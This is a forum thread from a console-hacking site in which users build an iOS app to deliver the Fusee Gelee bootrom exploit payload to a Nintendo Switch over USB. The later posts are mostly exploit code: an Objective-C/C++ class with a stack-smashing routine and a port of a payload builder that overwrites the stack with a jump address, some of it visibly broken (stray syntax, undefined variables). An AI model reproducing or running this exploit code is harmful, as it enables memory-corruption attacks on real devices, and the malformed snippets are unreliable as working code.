Question Payload loader for iOS?

Discussion in 'Switch - Exploits, Custom Firmwares & Soft Mods' started by ElijahZAwesome, May 21, 2018.

  1. Traiver

    Traiver GBAtemp Maniac

    Member
    10
    Aug 1, 2014
    United States
    ???
    That's the dumbest sentence I've seen in a while. When you use iOS and Mac OS all day, no matter if private or at work, you won't just change it for no reason. And you can surely find a way to make this a real thing, that's why we have some nice people trying to and I for me appreciate every single minute which goes into the developing for this app.

    Your statement also makes no sense, because no one just waste $ 300+ for a new USB-C standard phone or simply can't because of personal reasons. It's like I'm telling you what to do, what to eat and what's better in life.
     
    OkazakiTheOtaku likes this.
  2. _______

    _______  

    Member
    4
    May 13, 2016
    Japan
    We already waste time to make closed hardware and software do shit, which is called Nintendo Switch. If you don't have an iPhone or don't give a damn about running it on iPhone. Maybe you shouldn't be here in the first place.

    Tho I do think using a PCB with MCU to do this would be much easier, still to have another option is not a bad thing, like why we need homebrew from the beginning.
     
  3. ElijahZAwesome
    OP

    ElijahZAwesome Hey. I exist. Woo

    Member
    6
    Jul 12, 2016
    United States
    Narnia
    When we tried to get a man on the moon, we didn't give up halfway through and just said "fuck it, we'll just wait for the Russians to do it and use that", no, we did it ourselves. We created an alternative.

    As I've said many, many times now, if all else I asked this question for fun. I have an Android now for God's sake and I still asked the question.

    Sent from my XT1565 using Tapatalk
     
  4. Mythrandir

    Mythrandir Advanced Member

    Newcomer
    3
    Nov 12, 2015
    United States
    Valinor
    Welcome to GBATemp. This is an online forum where people openly discuss how they "waste their time trying to make closed hardware and software do shit it was never intended to do," also known as hacking and modding. The closed hardware and software of gaming consoles is the primary subject of these discussions. Again, welcome and I hope you will enjoy our community.
     
    Last edited by Mythrandir, May 27, 2018
  5. warmo161

    warmo161 GBAtemp Regular

    Member
    4
    Nov 3, 2011
    United Kingdom
    A house
    If somebody is set on making a ios app, then you could just sideload the app onto your device if you have a Mac and Xcode (But you would have to reload the app every 7 days or so if you dont have a dev license)

    Or maybe use iemulators.com?
     
  6. JustBrandonT

    JustBrandonT Advanced Member

    Newcomer
    3
    Mar 11, 2018
    Canada
    I just committed the code to the repo. Anyone can test it. You can even test it on non-jailbroken devices (read-only though AFAICT -- need double checking).

    Testing it, I actually figured out why the device kept getting disconnected. It's a power issue with the Apple Lightning Camera Kit USB3 (the one that has the USB3 port and the lightning port for charging).

    Previously I was testing with just the switch plugged into the OTG and then into the phone.. it'd disconnect every 3 seconds because the switch required more power to that USB3 port which the phone just couldn't provide.. So I plugged a second lightning cable into the OTG's lightning port so the device was charging and the switch into the other port (USB3 port).. Now the device NEVER disconnects or gives intermittent issues. I registered for notifications successfully so now I can tell whenever the switch is plugged in, disconnected, etc..

    Basically it's time to learn how Fusee Gelee works now and just write that payload to the device. Maybe someone else might be able to help out. So yeah, we have made progress on iOS. We have full communication from the phone to the switch. That code is here: https://github.com/Brandon-T/iOUSB/blob/master/iOUSB/USB.m For anyone interested.

    Edit: Added a "WriteUSB" function that can write an array of bytes to the switch.
     
    Last edited by JustBrandonT, May 27, 2018
  7. Lil_SpazJoekp

    Lil_SpazJoekp Advanced Member

    Newcomer
    3
    Apr 11, 2018
    United States
    I would love to help but I do not have the OTG adapter yet, https://www.amazon.com/gp/product/B01F7KJDIM/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1 and this is what I would need right? And for actually pushing the payload, would the macOS version of the injector help at all for iOS? I'm guessing not, I haven't had a chance to look at it yet. Also for those that want to test this you need to run these commands before it will compile.

    Code:
    sudo cp -r /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/System/Library/Frameworks/IOKit.framework/Versions/A/Headers /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/System/Library/Frameworks/IOKit.framework
    And
    Code:
    sudo cp /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/libkern/OSTypes.h /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/usr/include/libkern
    @JustBrandonT Please verify these commands are the correct ones. They worked for me.

    Also why wouldn't this app get approved?
     
    Last edited by Lil_SpazJoekp, May 27, 2018
  8. Dread_Pirate_PJ

    Dread_Pirate_PJ Advanced Member

    Newcomer
    2
    Feb 24, 2018
    United States
    This app wouldn't be approved because IOKit is a private framework in iOS. It's not an "approved" way to access USB on iOS.

    But that's fine, people can get the source and make their own ipa and install it with Cydia Injector.
     
    jakibaki likes this.
  9. JustBrandonT

    JustBrandonT Advanced Member

    Newcomer
    3
    Mar 11, 2018
    Canada
    Correct =]

    Thanks. I forgot to post the commands yeah. Those are correct even for MacOS High Sierra (Note it points at the OSX folder and not the MacOS folder).
    You only link them to compile the app. When it runs on the phone, it'll use the framework in the /System/Library/Frameworks folder of the device itself =]

    It wouldn't be approved because as the guy above said, IOKit is private. It's used for driver development and kernel level calls. It's documented quite well for OSX, but private for iOS (even though it's the exact same docs and api).

    It's not an issue if it's not approved though because you can easily run it unsigned or compile it with a free developer's account.
     
  10. Lil_SpazJoekp

    Lil_SpazJoekp Advanced Member

    Newcomer
    3
    Apr 11, 2018
    United States
    Ohh okay so we're only supposed to use eakit?

    Cool..would it be able to use testflight?
     
  11. JustBrandonT

    JustBrandonT Advanced Member

    Newcomer
    3
    Mar 11, 2018
    Canada
    Correct. ExternalAccessory.framework is the "approved" way of accessing Apple approved hardware (MFi - Made for iPhone/iPad).
    However, since this is GBATemp and we're hacking our hardware and stuff.. approval doesn't matter :D

    Submitting to the AppStore is different from submitting for test-flight or hockeyapp or whatever distribution you want to use. It doesn't matter. As long as you don't actually submit to the Appstore, then you're fine.
     
    Last edited by JustBrandonT, May 27, 2018
  12. Lil_SpazJoekp

    Lil_SpazJoekp Advanced Member

    Newcomer
    3
    Apr 11, 2018
    United States
    -snip-
     
  13. tunip3

    tunip3 [debugger active]

    Banned
    7
    Oct 31, 2016
    United Kingdom
    Cydia impactor allows using a bog standard account
     
  14. StevenMattera

    StevenMattera GBAtemp Regular

    Member
    4
    May 6, 2018
    United States
    Raleigh, NC
    Thanks and thanks to the other 5 people who have already said this. Glad you can read my post, but not anyone elses.
     
  15. snoofly

    snoofly GBAtemp Advanced Fan

    Member
    8
    Aug 18, 2015
    United Kingdom
    Cool.
    I have the following so will try this out when a payload to test comes available

    -access to a macbook pro with Xcode
    -iphone x on 11.3
    -an official apple usb c to lightning 2m cable
    -cydia impactor with 7 day ipa signing license

    Being able to load payloads on the go from my phone sounds really useful.
    Thanks!

    edit: rechecked..guess i need the adapter in order to draw enough power so maybe i’m outta luck for now :(
     
    Last edited by snoofly, May 27, 2018
  16. Lil_SpazJoekp

    Lil_SpazJoekp Advanced Member

    Newcomer
    3
    Apr 11, 2018
    United States
    I was thinking you had to have this https://www.amazon.com/gp/product/B01F7KJDIM/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1 because it wouldn't stay connected.
     
  17. JustBrandonT

    JustBrandonT Advanced Member

    Newcomer
    3
    Mar 11, 2018
    Canada
    Added code to load the Fusee Gelee Payload.. I ported the TegraSmash and Javascript Web version (as best as I could):

    Code:
    //
    //  iOUSB
    //
    //  Created by Brandon on 2018-05-27.
    //  Copyright © 2018 XIO. All rights reserved.
    //
    
    #import "RCMDeviceHacker.h"
    #import <IOKit/IOKitLib.h>
    #import <IOKit/usb/IOUSBLib.h>
    #import <IOKit/IOCFPlugIn.h>
    #import <IOKit/IOMessage.h>
    #import <IOKit/IOBSD.h>
    #include <vector>
    #include <fstream>
    #import <JavaScriptCore/JavaScriptCore.h>
    
    class RCMDeviceHacker
    {
    private:
        int pipeRef;
        IOUSBInterfaceInterface300 **usbInterface;
        uint32_t currentBuffer;
     
    public:
        RCMDeviceHacker(int pipeRef, IOUSBInterfaceInterface300 **usbInterface) : pipeRef(pipeRef), usbInterface(usbInterface), currentBuffer(0)
        {
        }
     
        ~RCMDeviceHacker()
        {
        }
     
        static constexpr uint32_t PACKET_SIZE = 0x1000;
     
        NumVersion getDriverVersion()
        {
            NumVersion ioUSBLibVersion;
            NumVersion usbFamilyVersion;
            (*usbInterface)->GetIOUSBLibVersion(usbInterface, &ioUSBLibVersion, &usbFamilyVersion);
            return ioUSBLibVersion;
        }
     
        int read(uint8_t* outBuf, size_t outBufSize)
        {
            UInt32 size = (UInt32)outBufSize;
            kern_return_t res = (*usbInterface)->ReadPipe(usbInterface, 1, outBuf, &size);
            return res != kIOReturnSuccess ? -1 : (int)size;
        }
     
        int write(const uint8_t* data, size_t dataLen, size_t packetSize = PACKET_SIZE)
        {
            int bytesRemaining = (int)dataLen;
            size_t bytesWritten = 0;
            while (bytesRemaining > 0)
            {
                const size_t bytesToWrite = (bytesRemaining < (int)packetSize) ? bytesRemaining : (int)packetSize;
                const auto retVal = writeSingleBuffer(&data[bytesWritten], bytesToWrite);
                if (retVal < 0)
                    return retVal;
                else if (retVal < (int)bytesToWrite)
                    return int(bytesWritten)+retVal;
             
                bytesWritten += retVal;
                bytesRemaining -= retVal;
            }
         
            return (int)bytesWritten;
        }
     
        int readDeviceId(uint8_t* deviceIdBuf)
        {
            return read(deviceIdBuf, 0x10);
        }
     
        int switchToHighBuffer()
        {
            if (currentBuffer == 0)
            {
                uint8_t tempZeroDatas[PACKET_SIZE];
                memset(tempZeroDatas, 0, sizeof(tempZeroDatas));
             
                const auto writeRes = write(tempZeroDatas, sizeof(tempZeroDatas));
                if (writeRes < 0)
                    return writeRes;
             
                assert(currentBuffer != 0);
                return writeRes;
            }
            else
                return 0;
        }
     
        int smashTheStack(int length = -1)
        {
            constexpr uint32_t STACK_END = 0x40010000;
         
            if (length < 0)
                length = STACK_END - getCurrentBufferAddress();
         
            if (length < 1)
                return 0;
         
            std::vector<uint8_t> threshBuf(length, 0);
            return usb_control_msg(kUSBStandard,
                                   USBmakebmRequestType(kUSBOut, kUSBStandard, kUSBEndpoint),
                                   0,
                                   0,
                                   (char *)&threshBuf[0],
                                   (int)threshBuf.size());
        }
     
        UInt16 IOKitGetUSBPipeMaxPacketSize(UInt8 pipeRef)
        {
            IOReturn        err;
            UInt8           direction;
            UInt8           number;
            UInt8           transferType;
            UInt16          maxPacketSize;
            UInt8           interval;
         
            err = (*usbInterface)->GetPipeProperties(usbInterface, pipeRef, &direction, &number, &transferType, &maxPacketSize, &interval);
            if (err)
            {
                NSLog(@"could not get device name (%08x)", err);
                return 0;
            }
         
            return maxPacketSize;
        }
     
        void IOKitClearUSBPipe(UInt8 pipeRef, UInt32 timeout)
        {
            IOReturn err;
         
         
            UInt16 maxSize = IOKitGetUSBPipeMaxPacketSize(pipeRef);
            char readBuffer[maxSize];
         
            for (;;)
            {
                bzero(readBuffer, sizeof(readBuffer));
                UInt32 readSize = maxSize;
             
                err = (*usbInterface)->ReadPipeTO(usbInterface, pipeRef, readBuffer, &readSize, timeout, timeout);
                if (err)
                {
                    NSLog(@"Clear pipe returned err %08x", err);
                    break;
                }
             
                if (readSize == 0)
                {
                    NSLog(@"Clear pipe received 0 bytes, exiting");
                    break;
                }
            }
         
            err = (*usbInterface)->ClearPipeStallBothEnds(usbInterface, 1);
            if (err)
            {
                NSLog(@"Unable to clear pipe stall (%08x)", err);
                return;
            }
        }
     
    protected:
        uint32_t getCurrentBufferAddress() const
        {
            return (currentBuffer == 0) ? 0x40005000u : 0x40009000u;
        }
     
        uint32_t toggleBuffer()
        {
            const auto prevBuffer = currentBuffer;
            currentBuffer = (currentBuffer == 0) ? 1u : 0u;
            return prevBuffer;
        }
     
        int writeSingleBuffer(const uint8_t* data, size_t dataLen)
        {
            toggleBuffer();
            kern_return_t res = (*usbInterface)->WritePipe(usbInterface, 2, (uint8_t*)data, (int)dataLen);
            return res != kIOReturnSuccess ? -1 : (int)dataLen;
        }
     
        int usb_control_msg(int requesttype, int request, int value, int index, char *bytes, int size)
        {
            IOUSBDevRequest req;
            req.bmRequestType = requesttype;
            req.bRequest = request;
            req.wValue = value;
            req.wIndex = index;
            req.wLength = size;
            req.pData = bytes;
         
            kern_return_t result = (*usbInterface)->ControlRequest(usbInterface, 0, &req);
         
            if (result != kIOReturnSuccess)
            {
                return -1;
            }
         
            return req.wLenDone; //Bytes Transferred..
        }
    };
    
    
    @implementation Smash
    
    std::vector<uint8_t> userPayload = {};
    
    + (NSString *)smash:(int)pipeRef usb:(void **)usbInterface device:(void **)deviceInterface
    {
        NSMutableString *str = [[NSMutableString alloc] init];
        IOUSBInterfaceInterface300 **interface = (IOUSBInterfaceInterface300 **)usbInterface;
        RCMDeviceHacker rdh(pipeRef, interface);
     
        uint8_t deviceId[0x10] = {0};
        int res = rdh.readDeviceId(deviceId);
        if (res == 0x10)
        {
            [str appendString:@"Read Device ID\n"];
        }
     
        NSString *string = [NSString stringWithFormat:@"Device ID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
                            (uint32_t)deviceId[0],
                            (uint32_t)deviceId[1],
                            (uint32_t)deviceId[2],
                            (uint32_t)deviceId[3],
                            (uint32_t)deviceId[4],
                            (uint32_t)deviceId[5],
                            (uint32_t)deviceId[6],
                            (uint32_t)deviceId[7],
                            (uint32_t)deviceId[8],
                            (uint32_t)deviceId[9],
                            (uint32_t)deviceId[10],
                            (uint32_t)deviceId[11],
                            (uint32_t)deviceId[12],
                            (uint32_t)deviceId[13],
                            (uint32_t)deviceId[14],
                            (uint32_t)deviceId[15]];
        [str appendString:string];
     
     
        //Start..
        rdh.IOKitClearUSBPipe(1, 10);
     
     
     
        NSBundle *bundle = [NSBundle mainBundle];
        NSString *path = [bundle pathForResource:@"main" ofType:@"js"];
        NSString *js = [NSString stringWithContentsOfFile:path encoding:NSUTF8StringEncoding error:nil];
     
        JSContext *ctx = [[JSContext alloc] init];
        [ctx evaluateScript:js];
     
        NSArray *payload = [[ctx evaluateScript:@"loadPayload()"] toArray];
        for (NSNumber *number in payload) {
            userPayload.push_back([number unsignedCharValue]);
        }
        payload = nil;
     
        res = rdh.write(&userPayload[0], userPayload.size());
        [str appendString:[NSString stringWithFormat:@"Wrote Bytes: %d vs.. %d\n", res, userPayload.size()]];
     
        if (res % 2 != 1)
        {
            std::vector<std::uint8_t> buffer(0x1000, 0);
            rdh.write(&buffer[0], 0x1000);
        }
     
     
     
        std::vector<std::uint8_t> buff(0x7000, 0);
     
        IOUSBDevRequest req;
        req.bmRequestType = USBmakebmRequestType(kUSBIn, kUSBStandard, kUSBInterface);
        req.bRequest = 0;
        req.wValue = 0;
        req.wIndex = 0;
        req.wLength = 0x7000;
        req.pData = &buff[0];
     
        kern_return_t rc = (*interface)->ControlRequest(interface, 0, &req);
        if (rc != kIOReturnSuccess)
        {
            [str appendString:@"Failed To Control Device\n"];
        }
        return str;
    }
    @end
    
    I might have screwed something up.. It loads the payload to the device successfully but I guess I don't smash the stack properly OR my payload is too small so it kicks me out of RCM and back into the regular boot. It also successfully reads the DeviceID and shows the same deviceID as the Javascript Fusee Web Launcher and same device id as the Fusee splash screen.

    In any case, we can now use an iPhone to write payloads to the switch.. So far the above code kicks me out of RCM though. That's good I guess (in a way, because it shows the switch being communicated with).

    I don't know enough JS to port the payload loading to C++.. ={
     
    Last edited by JustBrandonT, May 28, 2018
    softwareengineer likes this.
  18. softwareengineer

    softwareengineer Advanced Member

    Newcomer
    2
    Apr 17, 2018
    United States
    EDIT: Well you posted while I was writing this, looks like you got even further... Maybe some of what I gathered from my exploration of the payload injector, can help you finish off the smashing the stack part! :D

    I think I see what it could possibly be... You see how you're smashing the stack with just the length? Here it uses the length plus the size of the control request...
    Code:
    int buf_size = sizeof(struct usb_ctrlrequest) + length;
    
    As I said in my post I'm not sure if it actually needs the control request in there, or just the length including the size of the control request... It may be just that few bytes more to reach the proper place!

    Code:
    if (length < 0)
               length = (STACK_END - getCurrentBufferAddress()) + sizeof(usb_ctrlrequest);
    
    the size of a usb_ctrlrequest is 8+8+16+16+16+32+ the size of a pointer (8 bytes I think, is that for the switch though or the iDevice)
    Code:
    struct usbdevfs_ctrltransfer {
    
    __u8 bRequestType;
    
    __u8 bRequest;
    
    __u16 wValue;
    
    __u16 wIndex;
    
    __u16 wLength;
    
    __u32 timeout; /* in milliseconds */
    
    void __user *data;
    
    };
    
    If that doesn't work then maybe try including that at the start of your threadbuf, before the length of empty/random bytes. Could it be that the switch is looking for that ctrl request data at the start, even though the usb_ctrl_message that you're doing seems to replicate it? It's just some uint8's uint16's and a uint32 and a pointer, couldn't hurt to fill it out and prepend it to the threadbuf array of bytes and see if that might be it.

    Really great that you made it this far! So it was a power related issue with it disconnecting every 3 seconds. I wasn't aware of that same thing happening with android, plus I thought that it doesn't charge in rcm mode (not in the normal way anyway, some call it a trickle charge)?

    In any case having it working is the important thing, the details of working around that without needing extra power can be worked out later if possible to work around that, but as of now it's going to be little less convenient to use the iOS version than others. (Well it already was going to be anyway with users of it having to cydia impact their own certificate into it on it's way to their device).

    Did you test the WriteUSB function and does it actually work? It looks like it would as far as opening the device and being able to write to it, but the reason I ask is because your WriteUSB function takes an array of strings but I don't see it using them to write them anywhere. Oh okay no I see you pass that in to receive the 'Pipe Status' messages. You haven't made it take a parameter of what to write yet. But the commented out code that should do the writing is here:
    Code:
    // char data[0] = {};
    // (*usbInterface)->WritePipe(usbInterface, pipe_ref, data, sizeof(data));
    //Testing..
    
    That should indeed be where we write the payload. But I've been looking at this minimal payload injector code by DavidBuchanan314 (which helps alot since it's a minimal example of the injector part, well except for understanding the how the fusee.bin payload itself works) and trying to see what more we need to do to put that functionality into this. I can almost see the code fused together already, there's only some slight differences in the function calls and such but the basic understanding of what needs to be done is the same.

    Okay there you're starting to write to it already, but I'm not sure if you've claimed the interface yet. The get_device function of usb.c (in the payload injector I mentioned above) it looks like we already have the equivalent of.

    It's simple enough:
    Code:
    int claim_interface(int fd, int ifnum)
    {
    return ioctl(fd, USBDEVFS_CLAIMINTERFACE, &ifnum);
    }
    
    And look what you have for us at the bottom:
    Code:
    static int send_ctrl_msg(IOUSBDeviceInterface** dev, const UInt8 request, const UInt16 value, const UInt16 length)
    {
    IOUSBDevRequest req;
    req.bmRequestType = USBmakebmRequestType(kUSBIn, kUSBVendor, kUSBDevice);
    req.bRequest = request;
    req.wValue = value;
    req.wIndex = 0;
    req.wLength = length;
    req.pData = 0;
    req.wLenDone = 0;
    
    IOReturn rc = (*dev)->DeviceRequest(dev, &req);
    
    
    if(rc != kIOReturnSuccess)
    {
    return -1;
    }
    
    return req.wLenDone;
    }
    


    It looks similar to the final thing that needs to be called: (See the req.bmRequestType, seems to be equivalent to the ctrl_req->bRequestType here, and kUSBIn looks the same as USB_DIR_IN)
    Found from here: https://github.com/torvalds/linux/blob/master/include/uapi/linux/usb/ch9.h
    #define USB_REQ_GET_STATUS 0x00

    the get status one is just 0, so passing 0 as the Uint8 request parameter or we can define that at the top too.

    #define USB_DIR_IN 0x80 /* to host */
    #define USB_RECIP_ENDPOINT 0x02

    So USB_DIR IN | USB_RECIP_ENDPOINT is equal to 0x82

    USBmakebmRequestType should make that value hopefully or we'll just need to manually put it, maybe there's a kUSBrecipEndpoint that can be put along with that makebm macro (or helper function)

    Code:
    int ctrl_transfer_unbounded(int fd, int length)
    {
    int buf_size = sizeof(struct usb_ctrlrequest) + length;
    char *buffer = calloc(1, buf_size);
    struct usbdevfs_urb *purb;
    
    struct usb_ctrlrequest *ctrl_req = (struct usb_ctrlrequest *) buffer;
    ctrl_req->bRequestType = USB_DIR_IN | USB_RECIP_ENDPOINT;
    ctrl_req->bRequest = USB_REQ_GET_STATUS;
    ctrl_req->wLength = length;
    
    struct usbdevfs_urb urb = {
    .type = USBDEVFS_URB_TYPE_CONTROL,
    .endpoint = 0,
    .buffer = buffer,
    .buffer_length = buf_size,
    .usercontext = (void *) 0x1337,
    };
    
    usleep(1000*10);
    
    if (ioctl(fd, USBDEVFS_SUBMITURB, &urb) < 0)
    return -1;
    
    if (ioctl(fd, USBDEVFS_DISCARDURB, &urb) < 0)
    return -2;
    
    if (ioctl(fd, USBDEVFS_REAPURB, &purb) < 0)
    return -3;
    
    if (purb->usercontext != (void *) 0x1337)
    return -4;
    
    free(buffer); // XXX buffer does not get freed under error conditions
    return 0;
    }
    

    the urb structure used is here: (iso_packet_desc is a part of it so we need that too, I'm not sure if we need it though)
    found here: https://github.com/torvalds/linux/blob/master/include/uapi/linux/usbdevice_fs.h
    Code:
    
    struct usbdevfs_iso_packet_desc {
    unsigned int length;
    unsigned int actual_length;
    unsigned int status;
    };
    
    struct usbdevfs_urb {
    unsigned char type;
    unsigned char endpoint;
    int status;
    unsigned int flags;
    void __user *buffer;
    int buffer_length;
    int actual_length;
    int start_frame;
    union {
    int number_of_packets; /* Only used for isoc urbs */
    unsigned int stream_id; /* Only used with bulk streams *
    };
    int error_count;
    unsigned int signr; /* signal to be sent on completion, or 0 if none should be sent. */
    void __user *usercontext;
    struct usbdevfs_iso_packet_desc iso_frame_desc[0];
    };
    
    And let's hope the control transfer is also unbounded here too (which I think it is :D)

    #define USBDEVFS_URB_TYPE_CONTROL 2
    found here: https://github.com/fail0verflow/shofel2/blob/master/exploit/shofel2.py
    So given that info, I think our equivalent of the control_transfer_unbounded might be:

    Code:
    struct usbdevfs_ctrltransfer {
    UInt8 bRequestType;
    UInt8 bRequest;
    UInt16 wValue;
    UInt16 wIndex;
    UInt16 wLength;
    UInt32 timeout; /* in milliseconds */
    void *data;
    };
    
    static int control_transfer_unbounded(IOUSBDeviceInterface** dev, UInt16 length)
    {
    int buf_size = sizeof(struct usb_ctrlrequest) + length;
    char *buffer = calloc(1, buf_size);
    
    struct usb_ctrlrequest *ctrl_req = (struct usb_ctrlrequest *) buffer;
    ctrl_req->bRequestType = USB_DIR_IN | USB_RECIP_ENDPOINT;
    ctrl_req->bRequest = USB_REQ_GET_STATUS;
    ctrl_req->wLength = length;
    
    IOUSBDevRequest req;
    req.bmRequestType = USBmakebmRequestType(kUSBIn, kUSBVendor, kUSBDevice);
    req.bRequest = USB_REQ_GET_STATUS;
    req.wValue = 0;
    req.wIndex = 0;
    req.wLength = buf_size;
    req.pData = buffer
    req.wLenDone = 0;
    
    IOReturn rc = (*dev)->DeviceRequest(dev, &req);
    
    if(rc != kIOReturnSuccess)
    {
    return -1;.
    }
    
    //SMASHED THE STACK!?
    
    return req.wLenDone;
    }
    
    Anyway that's the final step... I believe the payload is already written at that point and this is just 'smashing the stack' / triggering the exploit to run. (because a buffer is allocated, but there's nothing copied after the control request, so it appears to be just the length of null or any data bytes + the control request size. It's unclear if we need to send the control request as part of it though since the IOUSBDevRequest seems to duplicate that. Well it seems it couldn't hurt to have it + the length anyway.
    
    I found this page: https://stackoverflow.com/questions/41038150/usb-device-send-receive-data
    Which seems to indicate that we might need a deviceaddress of your plugged in switch put into the wValue variable, the C code has that somewhere else or it's maybe not needed.
    
    
    Alright let's follow the steps of the exploit.c (where the magic really happens) and see what we need to do:
    Beginning:
    [code]
    /* Nintendo Switch RCM Mode VID/PID */
    #define APX_VID 0x0955
    #define APX_PID 0x7321
    
    #define TIMEOUT 1000 // milliseconds
    
    #define MAX_LENGTH 0x30298 // length of the exploit packet
    #define RCM_PAYLOAD_ADDR 0x40010000
    #define INTERMEZZO_LOCATION 0x4001F000
    #define PAYLOAD_LOAD_BLOCK 0x40020000
    #define SEND_CHUNK_SIZE 0x1000
    
    Ok looks like we already have the APX_VID and APX_PID just named differently but lets keep our naming convention here:
    Code:
    #define kNintendoSwitchProductID 0x7321
    #define kNintendoSwitchVendorID 0x0955
    
    So we're in good shape so far, I added the others below it.

    Alright now first things first we're going to need some location to store the fusee.bin and intermezzo.bin so we can load them for injection. I'm just going to write it like I can access it from where we are, it's going to be up to you to put them in the right place so the program can actually read them. (if that means that like on android a good place to keep files is usually inside your app's storage directory, probably something like that)

    Now this is a rough integration I came up with, but hopefully is enough to push you forward into seeing it through! You got the communication channel up, how could you not have tried to send a payload!!? :D

    Code:
    #define kNintendoSwitchProductID 0x7321
    #define kNintendoSwitchVendorID 0x0955
    
    #define USB_REQ_GET_STATUS 0x00
    #define USB_DIR_IN 0x80 /* to host */
    #define USB_RECIP_ENDPOINT 0x02
    
    #define TIMEOUT 1000 // milliseconds
    
    #define MAX_LENGTH 0x30298 // length of the exploit packet
    #define RCM_PAYLOAD_ADDR 0x40010000
    #define INTERMEZZO_LOCATION 0x4001F000
    #define PAYLOAD_LOAD_BLOCK 0x40020000
    #define SEND_CHUNK_SIZE 0x1000
    
    #define INTERMEZZO_PATH "intermezzo.bin"
    #define PAYLOAD_PATH "fusee.bin"
    
    struct usb_ctrlrequest {
        UInt8 bRequestType;
        UInt8 bRequest;
        UInt16 wValue;
        UInt16 wIndex;
        UInt16 wLength;
        UInt32 timeout; /* in milliseconds */
        void *data;
    };
    
    static int control_transfer_unbounded(IOUSBDeviceInterface** dev, UInt16 length)
    {
        int buf_size = sizeof(struct usb_ctrlrequest) + length;
        char *buffer = calloc(1, buf_size);
    
        struct usb_ctrlrequest *ctrl_req = (struct usb_ctrlrequest *) buffer;
        ctrl_req->bRequestType = USB_DIR_IN | USB_RECIP_ENDPOINT;
        ctrl_req->bRequest = USB_REQ_GET_STATUS;
        ctrl_req->wLength = length;
    
        IOUSBDevRequest req;
        req.bmRequestType = USBmakebmRequestType(kUSBIn, kUSBVendor, kUSBDevice);
        req.bRequest = USB_REQ_GET_STATUS;
        req.wValue = 0;
        req.wIndex = 0;
        req.wLength = buf_size;
        req.pData = buffer;
        req.wLenDone = 0;
    
        IOReturn rc = (*dev)->DeviceRequest(dev, &req);
    
        if(rc != kIOReturnSuccess)
        {
            return -1;.
        }
    
        //SMASHED THE STACK!?
    
        return req.wLenDone;
    }
    
    int buildAndRunPayload(IOUSBDeviceInterface** dev, IOUSBInterfaceInterface** interface)
    {
        FILE *intermezzo_file;
        FILE *payload_file;
        char payload_buf[MAX_LENGTH]; // XXX: don't use more memory than we need, ~200k is a lot
        int payload_idx = 0;
        int payload_len;
    
        /* Begin payload construction */
        // TODO: construct the payload on-the-fly as it is sent, saving memory
        memset(payload_buf, 0, sizeof(payload_buf));
    
        *(uint32_t *)payload_buf = MAX_LENGTH;
        payload_idx    = 680; // skip over the header
    
        /* fill the stack with the intermezzo address */
        for (int i=RCM_PAYLOAD_ADDR; i<INTERMEZZO_LOCATION; i += 4, payload_idx += 4)
            *(uint32_t *)&payload_buf[payload_idx] = INTERMEZZO_LOCATION;
    
        /* load intermezzo.bin */
        if ((intermezzo_file = fopen(INTERMEZZO_PATH, "r")) == NULL) {
            printf("[-] Failed to open " INTERMEZZO_PATH);
            return -1;
        }
    
        int intermezzo_len = fread(&payload_buf[payload_idx], 1, MAX_LENGTH-payload_idx, intermezzo_file);
        fclose(intermezzo_file);
        printf("[*] Read %d bytes from "INTERMEZZO_PATH"\n", intermezzo_len);
    
        /* pad until payload */
        payload_idx += PAYLOAD_LOAD_BLOCK - INTERMEZZO_LOCATION;
    
        /* load the actual payload */
        if ((payload_file = fopen(argv[1], "r")) == NULL) {
            printf("[-] Failed to open payload file");
            return -1;
        }
    
        int file_len = fread(&payload_buf[payload_idx], 1, MAX_LENGTH-payload_idx, payload_file);
        payload_idx += file_len;
        fclose(payload_file);
        printf("[*] Read %d bytes of payload\n", file_len);
        if (payload_idx == MAX_LENGTH)
            printf("[*] Warning: payload may have been truncated. Continuing.");
    
        /* Send the payload */
        payload_len = payload_idx;
        int low_buffer = 1;
        UInt8 pipe_ref = 1;
        for (payload_idx = 0; payload_idx < payload_len || low_buffer; payload_idx += SEND_CHUNK_SIZE, low_buffer ^= 1) {
            if((*interface)->WritePipe(usbInterface, pipe_ref, &payload_buf[payload_idx], SEND_CHUNK_SIZE) != kIOReturnSuccess)
            //if (ep_write(usb_fd, 1, &payload_buf[payload_idx], SEND_CHUNK_SIZE, TIMEOUT) != SEND_CHUNK_SIZE) {
                printf("[-] Sending payload failed");
                return -1;
            }
        }
        printf("[+] Sent 0x%x bytes\n", payload_idx);
    
        /* Smash the stack! */
        printf("[+] Smashed the stack: %d\n", ctrl_transfer_unbounded(dev, 0x7000));
    }
    
    // Test writing to the Nintendo Switch's USB..
    void WriteToUSB(struct USBNotification *notificationInfo, io_service_t usbDevice, NSMutableArray* strings)
    {
        //Function to retrieve a USBDevice interface..
        IOUSBDeviceInterface300** (^getDeviceInterface)(io_service_t) = ^IOUSBDeviceInterface300**(io_service_t device) {
            return (IOUSBDeviceInterface300 **)getInterface(device, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID300);
        };
    
        //Function to retrieve a USBInterface interface..
        IOUSBInterfaceInterface300** (^getUSBInterface)(io_service_t) = ^IOUSBInterfaceInterface300**(io_service_t device) {
            return (IOUSBInterfaceInterface300 **)getInterface(device, kIOUSBInterfaceUserClientTypeID, kIOUSBInterfaceInterfaceID300);
        };
        // Open the USB device for communication.
        IOUSBDeviceInterface300 **deviceInterface = getDeviceInterface(usbDevice);
        if (deviceInterface)
        {
            if ((*deviceInterface)->USBDeviceOpen(deviceInterface) == kIOReturnSuccess)
            {
                //Get the configuration..
                IOUSBConfigurationDescriptorPtr config;
                kern_return_t kr = (*deviceInterface)->GetConfigurationDescriptorPtr(deviceInterface, 0, &config);
                if (kr == kIOReturnSuccess)
                {
                    (*deviceInterface)->SetConfiguration(deviceInterface, config->bConfigurationValue);
    
                    //Find the USB interface..
                    IOUSBFindInterfaceRequest interfaceRequest;
                    interfaceRequest.bInterfaceClass = kIOUSBFindInterfaceDontCare;
                    interfaceRequest.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
                    interfaceRequest.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
